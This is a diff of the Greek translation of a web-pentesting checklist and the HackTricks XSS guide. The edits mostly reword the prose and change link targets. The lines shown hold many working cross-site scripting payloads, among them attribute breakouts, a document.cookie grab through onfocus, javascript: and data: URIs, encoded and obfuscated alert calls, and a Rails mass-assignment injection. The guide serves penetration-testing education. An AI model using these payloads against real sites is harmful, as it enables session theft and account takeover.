 Αν η λειτουργία μπορεί να χρησιμοποιηθεί για να αναζητήσει κάποιο είδος δεδομένων στο backend, ίσως μπορείτε να (κατα)χρησιμοποιήσετε αυτήν για να αναζητήσετε αυθαίρετα δεδομένα.
 
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](../nosql-injection.md)
 - [ ] [**LDAP Injection**](../ldap-injection.md)
 - [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](../sql-injection/)
+- [ ] [**SQL Injection**](../sql-injection/index.html)
 - [ ] [**XPATH Injection**](../xpath-injection.md)
 
 ### **Forms, WebSockets and PostMsgs**
@@ -67,15 +67,15 @@
 
 - [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
 
 ### **HTTP Headers**
 
-Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή web, κάποιες ευπάθειες μπορεί να είναι παρούσες.
+Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή, κάποιες ευπάθειες μπορεί να είναι παρούσες.
 
 - [ ] [**Clickjacking**](../clickjacking.md)
-- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
+- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
 - [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
 
 ### **Bypasses**
@@ -85,7 +85,7 @@
 - [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](../captcha-bypass.md)
-- [ ] [**Login Bypass**](../login-bypass/)
+- [ ] [**Login Bypass**](../login-bypass/index.html)
 - [ ] [**Race Condition**](../race-condition.md)
 - [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
@@ -94,9 +94,9 @@
 ### **Structured objects / Specific functionalities**
 
 Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε μια πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικά σειριοποιημένο αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί αν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\
-Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως οι Εισαγωγές Header Email).
+Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως οι Εισαγωγές Επικεφαλίδας Email).
 
-- [ ] [**Deserialization**](../deserialization/)
+- [ ] [**Deserialization**](../deserialization/index.html)
 - [ ] [**Email Header Injection**](../email-injections.md)
 - [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
@@ -107,7 +107,7 @@
 Λειτουργίες που δημιουργούν αρχεία περιλαμβάνοντας είσοδο χρηστών μπορεί να εκτελούν απροσδόκητο κώδικα.\
 Χρήστες που ανοίγουν αρχεία που έχουν αποσταλεί από χρήστες ή αυτόματα δημιουργημένα περιλαμβάνοντας είσοδο χρηστών μπορεί να διακυβεύονται.
 
-- [ ] [**File Upload**](../file-upload/)
+- [ ] [**File Upload**](../file-upload/index.html)
 - [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@
 ### **External Identity Management**
 
 - [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](../saml-attacks/)
+- [ ] [**SAML Attacks**](../saml-attacks/index.html)
 
 ### **Other Helpful Vulnerabilities**
 
@@ -124,6 +124,6 @@
 - [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 - [ ] [**IDOR**](../idor.md)
 - [ ] [**Parameter Pollution**](../parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -4,27 +4,27 @@
 
 1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
 2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται.
-3. Αν είναι **αντανάκλαση**
+3. Αν **αντανάκλαται**
 1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload:
-1. Σε **ακατέργαστο HTML**:
+1. Σε **raw HTML**:
 1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
 2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`;
 3. Μπορείτε να παρακάμψετε τις προστασίες;
-4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πλευράς πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) ;
+4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πλευράς (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html);
 2. Μέσα σε μια **ετικέτα HTML**:
-1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο;
+1. Μπορείτε να βγείτε σε raw HTML πλαίσιο;
 2. Μπορείτε να δημιουργήσετε νέα γεγονότα/χαρακτηριστικά για να εκτελέσετε κώδικα JS;
 3. Υποστηρίζει το χαρακτηριστικό όπου είστε παγιδευμένοι την εκτέλεση JS;
 4. Μπορείτε να παρακάμψετε τις προστασίες;
 3. Μέσα σε **κώδικα JavaScript**:
-1. Μπορείτε να διαφύγετε από την ετικέτα `<script>` ;
-2. Μπορείτε να διαφύγετε από τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
-3. Είναι η είσοδός σας σε template literals \`\` ;
+1. Μπορείτε να ξεφύγετε από την ετικέτα `<script>`;
+2. Μπορείτε να ξεφύγετε από τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
+3. Είναι η είσοδός σας σε template literals \`\`?;
 4. Μπορείτε να παρακάμψετε τις προστασίες;
-4. Η **λειτουργία** Javascript εκτελείται
+4. Javascript **λειτουργία** που εκτελείται
 1. Μπορείτε να υποδείξετε το όνομα της λειτουργίας που θα εκτελεστεί. π.χ.: `?callback=alert(1)`
-4. Αν είναι **χρησιμοποιούμενη**:
+4. Αν **χρησιμοποιείται**:
 1. Θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**, προσέξτε πώς ελέγχεται η είσοδός σας και αν η **ελεγχόμενη είσοδός σας χρησιμοποιείται από οποιοδήποτε sink.**
 
 Όταν εργάζεστε σε μια σύνθετη XSS μπορεί να είναι ενδιαφέρον να γνωρίζετε για:
@@ -35,9 +35,9 @@ debugging-client-side-js.md
 
 ## Reflected values
 
-Για να εκμεταλλευτείτε με επιτυχία μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web.
+Για να εκμεταλλευτείτε επιτυχώς μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web.
 
-- **Ενδιάμεσα αντανάκλαση**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και το μονοπάτι αντανάκλαται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
+- **Ενδιάμεσα αντανάκλαση**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και του μονοπατιού αντανάκλαται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
 - **Αποθηκευμένη και αντανάκλαση**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
 - **Πρόσβαση μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
 
@@ -47,17 +47,17 @@ debugging-client-side-js.md
 
 ### Raw HTML
 
-Αν η είσοδός σας είναι **αντανάκλαση στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
-Επίσης, κρατήστε στο μυαλό σας την [Client Side Template Injection](../client-side-template-injection-csti.md).
+Αν η είσοδός σας είναι **αντανάκλαση στη raw HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
+Επίσης, έχετε κατά νου [Client Side Template Injection](../client-side-template-injection-csti.md).
 
-### Inside HTML tags attribute
+### Μέσα σε χαρακτηριστικά ετικετών HTML
 
-Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να προσπαθήσετε:
+Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να δοκιμάσετε:
 
-1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
-2. Αν **μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
-3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
-4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να προσπαθήσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
+1. Να **ξεφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στη raw HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
+2. Αν **μπορείτε να ξεφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
+3. Αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
+4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
 ```html
@@ -74,8 +74,8 @@ debugging-client-side-js.md
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Αν ανακλάται μέσα σε πρότυπες κυριολεξίες μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-- **Η κωδικοποίηση Unicode** λειτουργεί για να γράψει **έγκυρο κώδικα javascript**:
+- Αν ανακλάται μέσα σε πρότυπες κυριολεξίες, μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- **Η κωδικοποίηση Unicode** λειτουργεί για να γράψετε **έγκυρο κώδικα javascript**:
 ```javascript
 alert(1)
 alert(1)
@@ -100,7 +100,7 @@ js-hoisting.md
 
 Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
 
-Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
+Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για **να αποκτήσετε πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
 
 ![](<../../images/image (747).png>)
 
@@ -112,7 +112,7 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Μπορείτε επίσης να προσπαθήσετε να **ενεργοποιήσετε τις συναρτήσεις Javascript** απευθείας: `obj.sales.delOrders`.
+Μπορείτε επίσης να προσπαθήσετε να **ενεργοποιήσετε συναρτήσεις Javascript** απευθείας: `obj.sales.delOrders`.
 
 Ωστόσο, συνήθως τα endpoints που εκτελούν τη δηλωμένη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
 
@@ -161,7 +161,7 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα για τις ετικέτες/χαρακτηριστικά, θα χρειαστεί να **δοκιμάσετε ποια ετικέτες** μπορείτε να δημιουργήσετε.\
+Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα χρειαστεί να **δοκιμάσετε ποια ετικέτες** μπορείτε να δημιουργήσετε.\
 Μόλις έχετε **εντοπίσει ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσετε χαρακτηριστικά/γεγονότα** μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.
 
 ### Δοκιμή ετικετών/γεγονότων
@@ -170,7 +170,7 @@ alert(1)
 
 ### Προσαρμοσμένες ετικέτες
 
-Αν δεν βρείτε καμία έγκυρη HTML ετικέτα, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάζει σε αυτό το αντικείμενο** και να **εκτελεί** τον κώδικα:
+Αν δεν βρείτε καμία έγκυρη ετικέτα HTML, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάζει σε αυτό το αντικείμενο** και να **εκτελεί** τον κώδικα:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
@@ -228,7 +228,7 @@ onerror=alert`1`
 ```
 ### Length bypass (small XSSs)
 
-> [!NOTE] > **Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να τα βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
@@ -243,7 +243,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
 
 ### Impossible - Dangling Markup
 
-Αν νομίζετε ότι **είναι αδύνατο να δημιουργήσετε μια ετικέτα HTML με ένα χαρακτηριστικό για να εκτελέσετε κώδικα JS**, θα πρέπει να ελέγξετε [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) γιατί θα μπορούσατε να **εκμεταλλευτείτε** την ευπάθεια **χωρίς** να εκτελέσετε **κώδικα JS**.
+Αν νομίζετε ότι **είναι αδύνατο να δημιουργήσετε μια ετικέτα HTML με ένα χαρακτηριστικό για να εκτελέσετε κώδικα JS**, θα πρέπει να ελέγξετε [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) γιατί θα μπορούσατε να **εκμεταλλευτείτε** την ευπάθεια **χωρίς** να εκτελέσετε **κώδικα JS**.
 
 ## Injecting inside HTML tag
 
@@ -267,12 +267,12 @@ To check in which characters are decomposed check [here](https://www.compart.com
 ```
 ### Μέσα στο χαρακτηριστικό
 
-Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας ανακλάται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ.\
+Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** αντικατοπτρίζεται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ.\
 Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
 
 **Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
 
-Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML ετικετών **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML είναι **αποκωδικοποιημένοι κατά την εκτέλεση**. Επομένως, κάτι όπως το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
 Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**:
 ```javascript
@@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα**
 
-**Γενικά**, το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **πλειονότητα** των ετικετών που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι `<img`)
+**Γενικά**, το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **τις περισσότερες** από τις ετικέτες που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι σε `<img>`)
 ```markup
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -351,17 +351,17 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Επιπλέον, υπάρχει ένα άλλο **καλό κόλπο** για αυτές τις περιπτώσεις: **Ακόμα και αν η είσοδός σας μέσα στο `javascript:...` είναι κωδικοποιημένη URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειαστεί να **ξεφύγετε** από τη **σειρά** χρησιμοποιώντας ένα **μονό απόσπασμα** και βλέπετε ότι **κωδικοποιείται URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονό απόσπασμα** κατά τη διάρκεια της **χρονικής εκτέλεσης**.
+Επιπλέον, υπάρχει ένα άλλο **καλό κόλπο** για αυτές τις περιπτώσεις: **Ακόμα και αν η είσοδός σας μέσα στο `javascript:...` είναι κωδικοποιημένη URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειάζεται να **ξεφύγετε** από τη **σειρά** χρησιμοποιώντας ένα **μονό απόσπασμα** και βλέπετε ότι **κωδικοποιείται URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονό απόσπασμα** κατά τη διάρκεια του **χρόνου εκτέλεσης.**
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload** δεν θα **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
+Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
 
 **Χρησιμοποιώντας Hex και Octal κωδικοποίηση με `javascript:`**
 
-Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal κωδικοποίηση** μέσα στο `src` attribute του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
+Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal κωδικοποίηση** μέσα στο `src` χαρακτηριστικό του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -383,7 +383,7 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### σχετικά με την παράκαμψη χειριστών συμβάντων
+### σχετικά με την Παράκαμψη Χειριστών Συμβάντων
 
 Πρώτα απ' όλα, ελέγξτε αυτή τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμους **"on" χειριστές συμβάντων**.\
 Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που σας εμποδίζει να δημιουργήσετε αυτούς τους χειριστές συμβάντων, μπορείτε να δοκιμάσετε τις παρακάτω παρακάμψεις:
@@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονική, μετα)
+### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφό input, σύνδεσμος, canonical, meta)
 
-Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτούμε τις κρυφές εισόδους με:**
+Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτείτε τα κρυφά inputs με:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@@ -503,7 +503,7 @@ return loop
 }
 loop``````````````
 ```````````````
-### Κωδικοποιημένη εκτέλεση κώδικα
+### Εκτελούμενος κωδικός με κωδικοποίηση
 ```markup
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
@@ -782,8 +782,8 @@ dom-xss.md
 ```
 ### Ruby-On-Rails bypass
 
-Λόγω του **RoR mass assignment** εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
-Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), αν στείλετε το payload:
+Λόγω της **RoR μαζικής ανάθεσης** εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
+Παράδειγμα φόρμας ([από αυτή την αναφορά](https://hackerone.com/reports/709336)), αν στείλετε το payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
@@ -823,16 +823,16 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS με έγχυση κεφαλίδων σε απόκριση 302
+### XSS με έγχυση κεφαλίδων σε απάντηση 302
 
